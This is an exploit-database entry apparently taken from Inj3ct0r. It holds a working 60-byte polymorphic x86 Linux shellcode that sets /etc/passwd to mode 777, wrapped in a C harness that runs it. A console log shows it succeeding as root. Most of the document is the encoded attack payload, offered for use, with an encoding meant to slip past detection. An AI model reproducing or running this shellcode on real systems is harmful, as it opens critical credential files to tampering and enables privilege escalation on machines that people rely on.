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linux/x86 chmod 777 polymorphic shellcode 60 bytes
来源:yudha.gunslinger[at]gmail.com 作者:gunslinger_ 发布时间:2010-06-18  
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linux/x86 chmod 777 polymorphic shellcode 60 bytes
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/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 60 bytes chmod 777 polymorphic x86 linux shellcode
Date   : Sat Jun  5 16:10:00 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
*/

/*
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# gcc -o polymorphic_chmod polymorphic_chmod.c
chmod.c: In function ‘main’:
chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
root@localhost:/home/gunslinger/shellcode# ./polymorphic_chmod
Length: 64
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# 
*/

#include <stdio.h>

char shellcode[] =
	"\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01"
	"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44"
	"\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10"
	"\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8"
	"\xa8\xac\x99";

int main(void)
{
       	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();
     
return 0;
}



 
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